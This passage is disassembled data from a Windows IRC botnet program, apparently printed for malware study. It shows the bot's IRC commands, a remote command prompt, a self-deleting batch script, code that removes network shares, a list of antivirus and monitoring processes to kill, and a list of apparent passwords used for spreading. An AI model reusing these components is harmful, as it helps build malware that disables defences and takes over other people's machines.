aZack		db 'ZACK',0             ; DATA XREF: .XPack0:0043ADC4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .XPack0:0043ADC0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .XPack0:0043ADBCo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .XPack0:0043ADB8o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .XPack0:0043ADB4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .XPack0:0043ADB0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .XPack0:0043ADACo
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .XPack0:0043ADA8o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .XPack0:0043ADA4o
aAslii		db 'aslii',0            ; DATA XREF: .XPack0:0043ADA0o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: .XPack0:0043AD9Co
aHaticem	db 'haticem',0          ; DATA XREF: .XPack0:0043AD98o
aArzu		db 'ARZU',0             ; DATA XREF: .XPack0:0043AD94o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: .XPack0:0043AD90o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .XPack0:0043AD8Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .XPack0:0043AD88o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: .XPack0:0043AD84o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .XPack0:0043AD80o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .XPack0:0043AD7Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .XPack0:0043AD78o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .XPack0:0043AD74o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: .XPack0:0043AD70o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: .XPack0:0043AD6Co
aTolga34	db 'Tolga34',0          ; DATA XREF: .XPack0:0043AD68o
aMisssunday	db 'misssunday',0       ; DATA XREF: .XPack0:0043AD64o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: .XPack0:0043AD60o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .XPack0:0043AD5Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .XPack0:0043AD58o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: .XPack0:0043AD54o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .XPack0:0043AD50o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .XPack0:0043AD4Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .XPack0:0043AD48o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .XPack0:0043AD44o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .XPack0:0043AD40o
aReshma		db 'reshma',0           ; DATA XREF: .XPack0:0043AD3Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .XPack0:0043AD38o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: .XPack0:0043AD34o
		align 4
aImra		db 'imra',0             ; DATA XREF: .XPack0:0043AD30o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .XPack0:0043AD2Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: .XPack0:0043AD28o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .XPack0:0043AD24o
		align 4
aManee		db 'manee',0            ; DATA XREF: .XPack0:0043AD20o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .XPack0:0043AD1Co
aLuisa		db 'Luisa',0            ; DATA XREF: .XPack0:0043AD18o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .XPack0:0043AD14o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: .XPack0:0043AD10o
		align 4
aJanno		db 'janno',0            ; DATA XREF: .XPack0:0043AD0Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: .XPack0:0043AD08o
		align 4
aHeval		db 'heval',0            ; DATA XREF: .XPack0:0043AD04o
		align 10h
aCme		db 'cme',0              ; DATA XREF: .XPack0:0043AD00o
aMarcy		db 'marcy',0            ; DATA XREF: .XPack0:0043ACFCo
		align 4
aTalika		db 'talika',0           ; DATA XREF: .XPack0:0043ACF8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: .XPack0:0043ACF4o
		align 4
aKen		db 'ken',0              ; DATA XREF: .XPack0:0043ACF0o
aFlexster	db 'flexster',0         ; DATA XREF: .XPack0:0043ACECo
		align 4
aKoko		db 'koko',0             ; DATA XREF: .XPack0:0043ACE8o
		align 4
aMale		db 'male',0             ; DATA XREF: .XPack0:0043ACE4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: .XPack0:0043ACE0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .XPack0:0043ACDCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: .XPack0:0043ACD8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .XPack0:0043ACD4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .XPack0:0043ACD0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .XPack0:0043ACCCo
aFarooq		db 'farooq',0           ; DATA XREF: .XPack0:0043ACC8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .XPack0:0043ACC4o
		align 4
aM_1:					; DATA XREF: .XPack0:0043ACC0o
					; .XPack0:0043B00Co
		unicode	0, <M>,0
word_43B728	dw 4Eh			; DATA XREF: sub_41A4EB+38r
					; .XPack0:0043ACBCo
		align 4
dword_43B72C	dd 42h		dword_43B730	dd 56h		dword_43B734	dd 43h		dword_43B738	dd 58h							; .XPack0:0043B040o
dword_43B73C	dd 5Ah		dword_43B740	dd 4Ch		dword_43B744	dd 4Bh		dword_43B748	dd 4Ah		dword_43B74C	dd 48h		dword_43B750	dd 47h		dword_43B754	dd 46h							; .XPack0:0043B008o
dword_43B758	dd 44h		dword_43B75C	dd 53h		dword_43B760	dd 50h		dword_43B764	dd 4Fh		dword_43B768	dd 55h		word_43B76C	dw 59h			; DATA XREF: sub_41A811+38r
					; .XPack0:0043AC70o
		align 10h
dword_43B770	dd 54h		dword_43B774	dd 52h		dword_43B778	dd 45h		dword_43B77C	dd 57h		dword_43B780	dd 51h		dword_43B784	dd 62h							; .XPack0:0043AF44o ...
dword_43B788	dd 78h							; .XPack0:0043AF9Co
dword_43B78C	dd 7Ah							; .XPack0:0043AFA4o ...
dword_43B790	dd 68h							; .XPack0:0043AF5Co
dword_43B794	dd 67h							; .XPack0:0043AF58o ...
dword_43B798	dd 66h							; .XPack0:0043AF54o
dword_43B79C	dd 64h							; .XPack0:0043AF4Co
dword_43B7A0	dd 79h							; .XPack0:0043AFA0o
dword_43B7A4	dd 77h							; .XPack0:0043AF98o
dword_43B7A8	dd 4B43494Eh, 0A732520h, 0dword_43B7B4	dd 323334h	dword_43B7B8	dd 474E4F50h, 0A732520h, 0aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417DC2+98o
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417FDF+BCo
					; sub_417FDF+174r ...
		align 10h
dword_43B800	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43B84C	dd 3000005h, 10h, 18h, 1, 3 dup(0); ---------------------------------------------------------------------------


loc_43B868:				; DATA XREF: sub_418416+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_43B87C	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_418416+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4187D7+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_41891E+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4189C2+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4189E4+140o
		align 10h
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4189E4+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4189E4+48o
		align 10h
unk_43B930	db    2			; DATA XREF: sub_418B6C+9Co
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  6Ch	; l
		db 2, 6Fh, 67h
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	34h, 3Ah
		db    3
a1OperatingSyst	db '1 operating system is not supported',0
		align 4
unk_43B974	db    2			; DATA XREF: sub_418B6C+8Fo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  6Ch	; l
		db 2, 6Fh, 67h
		db    3
		db 30h,	31h, 2Ch
		db    3
		db 31h,	34h, 3Ah
		db    3
a1FailedWithErr	db '1 failed with error code %d',0
		align 10h
dword_43B9B0	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 676F026Ch
					; DATA XREF: sub_418B6C+5Co
		dd 2C313003h, 3A343103h, 25203103h, 6F6C2073h, 6C632067h
		dd 65726165h, 64h
off_43B9E0	dd offset aAdd		; DATA XREF: sub_418D56+6Dr
					; sub_41913D+50r ...
					; "Add"
off_43B9E4	dd offset aAdded	; DATA XREF: sub_418D56+2Dr
					; sub_41913D+82r ...
					; "Added"
dword_43B9E8	dd 0				dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43BA54h, 43BA4Ch,	2, 43BA40h, 43BA34h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .XPack0:0043BA14o
aStop_0		db 'Stop',0             ; DATA XREF: .XPack0:0043BA10o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .XPack0:0043BA08o
aStart_0	db 'Start',0            ; DATA XREF: .XPack0:0043BA04o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .XPack0:0043B9FCo
		align 4
aList_1		db 'List',0             ; DATA XREF: .XPack0:0043B9F8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .XPack0:0043B9F0o
aDelete_0	db 'Delete',0           ; DATA XREF: .XPack0:0043B9ECo
		align 4
aAdded		db 'Added',0            ; DATA XREF: .XPack0:off_43B9E4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: .XPack0:off_43B9E0o
unk_43BAA8	db  2Dh	; -		; DATA XREF: sub_418D56+74o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43BACC	db  2Dh	; -		; DATA XREF: sub_418D56+55o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_43BAF8	db  2Dh	; -		; DATA XREF: sub_418D56+38o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418E7F+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418E7F:loc_418F97o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418E7F:loc_418F90o
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418E7F:loc_418F89o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418E7F:loc_418F82o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418E7F:loc_418F7Bo
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418E7F:loc_418F74o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418E7F:loc_418F6Do
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418E7F:loc_418F66o
		align 8
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418E7F:loc_418F5Fo
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418E7F:loc_418F58o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418E7F:loc_418F2Do
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418E7F:loc_418F26o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418E7F:loc_418F1Fo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418E7F:loc_418F18o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418E7F+8Fo
		align 10h
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418E7F:loc_418EEDo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418E7F:loc_418EE3o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418E7F:loc_418ED9o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418E7F:loc_418ECFo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418E7F:loc_418EC5o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418E7F+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418FFD+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418FFD:loc_4190CCo
aStarting	db '   Starting',0      ; DATA XREF: sub_418FFD:loc_4190C5o
aStoping	db '    Stoping',0      ; DATA XREF: sub_418FFD:loc_4190BEo
aRunning	db '    Running',0      ; DATA XREF: sub_418FFD:loc_4190B7o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418FFD:loc_4190B0o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418FFD:loc_4190A9o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418FFD:loc_4190A2o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418FFD+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418FFD+25o
		align 4
unk_43C05C	db  2Dh	; -		; DATA XREF: sub_41913D+ABo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_43C080	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_41913D+89o
		dd 73252720h, 27h
unk_43C09C	db  2Dh	; -		; DATA XREF: sub_41913D+57o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_419332+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_419332+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_419332+B5o
unk_43C0E8	db  2Dh	; -		; DATA XREF: sub_419332+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_419332+26o
		align 4
unk_43C148	db  2Dh	; -		; DATA XREF: sub_419453+B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_43C170	db  2Dh	; -		; DATA XREF: sub_419453+94o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_43C1A0	db  2Dh	; -		; DATA XREF: sub_419453+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_43C1C0	db  2Dh	; -		; DATA XREF: sub_419599+394o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419599+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419599+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419599+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419599+2ECo
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419599+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419599+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419599+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419599+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419599+21Eo
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419599+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419599+1CBo
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419599+1A0o
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419599+178o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419599+14Do
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419599+125o
aGuest_0	db 'Guest',0            ; DATA XREF: sub_419599:loc_4196B2o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_419599:loc_4196ABo
		align 4
aAdministrato_0	db 'Administrator',0    ; DATA XREF: sub_419599:loc_4196A4o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419599+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419599+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419599+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419599+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_419967+145o
		align 4
unk_43C37C	db  2Dh	; -		; DATA XREF: sub_419967:loc_419A54o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_6		db '  %S',0             ; DATA XREF: sub_419967+BAo
		align 10h
unk_43C3B0	db  2Dh	; -		; DATA XREF: sub_419967+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_419967+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419ADD:loc_419BFAo
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419ADD:loc_419BF3o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419ADD:loc_419BECo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419ADD:loc_419BE5o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419ADD:loc_419BDEo
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419ADD:loc_419BC1o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419ADD:loc_419BBAo
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419ADD:loc_419BB3o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419ADD+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419ADD:loc_419B88o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419ADD:loc_419B81o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419ADD:loc_419B7Ao
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419ADD:loc_419B70o
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419ADD+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419ADD:loc_419B4Ao
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419ADD:loc_419B40o
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419ADD:loc_419B36o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419ADD:loc_419B2Co
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419ADD:loc_419B22o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419ADD+3Bo
		align 10h
dword_43C6C0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419C11+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43C6EC	db  2Dh	; -		; DATA XREF: sub_419C11+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 8
dword_43C718	dd 7530h			align 10h
off_43C720	dd offset aRegedit_exe	; DATA XREF: sub_419D3A:loc_419E00r
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43C828
		dd offset dword_43C81C
		dd offset dword_43C810
		dd offset dword_43C804
		dd offset dword_43C7F8
		dd offset dword_43C7EC
		dd offset dword_43C7DC
		dd offset dword_43C7D0
		dd offset dword_43C7C4
		dd offset dword_43C7B8
		dd offset dword_43C7AC
		dd offset dword_43C79C
		dd offset dword_43C790
		dd offset dword_43C780
dword_43C780	dd 72313169h, 346E3435h, 6578652Eh, 0dword_43C790	dd 6E757269h, 78652E34h, 65hdword_43C79C	dd 75643364h, 74616470h, 78652E65h, 65hdword_43C7AC	dd 65746172h, 6578652Eh, 0dword_43C7B8	dd 74617373h, 78652E65h, 65hdword_43C7C4	dd 736E6977h, 652E7379h, 6578hdword_43C7D0	dd 756E6977h, 652E6470h, 6578hdword_43C7DC	dd 4D737953h, 50586E6Fh, 6578652Eh, 0dword_43C7EC	dd 61656262h, 2E656C67h, 657865hdword_43C7F8	dd 696E6550h, 2E323373h, 657865hdword_43C804	dd 6B656574h, 2E736469h, 657865hdword_43C810	dd 4C42534Dh, 2E545341h, 657865hdword_43C81C	dd 7663736Dh, 2E323362h, 657865hdword_43C828	dd 69737973h, 2E6F666Eh, 657865haPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .XPack0:0043C744o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .XPack0:0043C740o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .XPack0:0043C73Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .XPack0:0043C738o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .XPack0:0043C734o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .XPack0:0043C730o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .XPack0:0043C72Co
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .XPack0:0043C728o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .XPack0:0043C724o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .XPack0:off_43C720o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419D3A+181o
		align 4
unk_43C8D8	db    2			; DATA XREF: sub_419F5D:loc_419FEAo
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  50h	; P
		db 2, 72h, 2
		db  6Fh	; o
		db 2, 63h, 2
		db  73h	; s
		db 2, 3, 30h
		db  31h	; 1
		db 2Ch,	3, 31h
		db  35h	; 5
		db 5Dh,	3, 31h
aProcessListFai	db ' process list failed',0
		align 4
unk_43C914	db    2			; DATA XREF: sub_419F5D+86o
		db 3, 31h, 35h
		db  2Ch	; ,
		db 30h,	5Bh, 2
		db    3
		db 30h,	31h, 91h
		db    3
		db 30h,	34h, 2
		db  50h	; P
		db 2, 72h, 2
		db  6Fh	; o
		db 2, 63h, 2
		db  73h	; s
		db 2, 3, 30h
		db  31h	; 1
		db 2Ch,	3, 31h
		db  35h	; 5
		db 5Dh,	3, 31h
aProcessListCom	db ' process list complete',0
		align 10h
dword_43C950	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 2720250h
					; DATA XREF: sub_419F5D+19o
		dd 263026Fh, 30030273h,	31032C31h, 31035D35h, 26C0220h
		dd 2730269h, 6E026974h,	2206702h, 6F720250h, 65026302h
		dd 2730273h, 3A7365h
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A0FA+33o
unk_43C9A4	db  2Dh	; -		; DATA XREF: sub_41A181:loc_41A2B3o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43C9D4	db  2Dh	; -		; DATA XREF: sub_41A181+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43C9FC	db  2Dh	; -		; DATA XREF: sub_41A181:loc_41A267o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43CA2C	db  2Dh	; -		; DATA XREF: sub_41A2D6+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 10h
unk_43CA60	db  2Dh	; -		; DATA XREF: sub_41A2D6+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43CA84	dd offset dword_43CABC	; DATA XREF: sub_41A4EB:loc_41A6A0r
					; sub_41A4EB+1C3r ...
dword_43CA88	dd 0				dd offset dword_43CAB4
		dd 0
		dd offset dword_43CAB0
; ---------------------------------------------------------------------------
		lodsb
		retf	43h
; ---------------------------------------------------------------------------
		dd offset dword_43CAA8
; ---------------------------------------------------------------------------
		movsb
		retf	43h
; ---------------------------------------------------------------------------
		dd 5C3A44h
dword_43CAA8	dd 2444h, 5C3A43hdword_43CAB0	dd 2443h	dword_43CAB4	dd 494D4441h, 244Ehdword_43CABC	dd 24435049h, 2	dup(0)dword_43CAC8	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB+2E7o
					; sub_41A811+2DDo
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1Netapi32_dllC	db '1 Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43CB10	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB+2D1o
		dd 72751F63h, 3026502h,	32C3130h, 33A3431h
a1NetworkShares	db '1 Network shares deleted.',0
		align 10h
dword_43CB50	dd 35310302h, 25B302Ch,	91313003h, 2343003h, 1F650253h
					; DATA XREF: sub_41A4EB:loc_41A755o
